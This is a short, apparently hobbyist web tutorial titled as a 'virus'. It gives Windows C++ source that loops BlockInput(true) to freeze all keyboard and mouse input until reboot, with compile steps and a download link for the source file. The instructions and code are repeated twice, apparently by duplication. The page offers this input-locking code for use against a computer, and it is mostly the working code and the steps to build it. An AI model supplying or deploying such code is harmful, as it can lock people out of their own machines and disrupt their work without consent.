A virus to stop keyboard mouse, all input
FIRst virus is to deactivate your keyboard mouse etc.
follow the steps
1. open dev c++
2. create new source file
3. save it in where you want
4. then type the following
#include<windows.h>(dont type this text in bracket, this header includes library for controlling windows)
#include<winable.h>(this also)
int main()
{
while(1)(this while create infinite loop)
{
BlockInput(true);(this statement blocks all input)
}
return 0;
}
type this code a and compile it. your all input is blocked. if you restart it will be normal again
then,
follow the steps
1. open dev c++
2. create new source file
3. save it in where you want
4. then type the following
#include<windows.h>(dont type this text in bracket, this header includes library for controlling windows)
#include<winable.h>(this also)
int main()
{
while(1)(this while create infinite loop)
{
BlockInput(true);(this statement blocks all input)
}
return 0;
}
type this code a and compile it. your all input is blocked. if you restart it will be normal again
then,
IF you want download the soure file click download below
block.cpp | |
File Size: | 0 kb |
File Type: | cpp |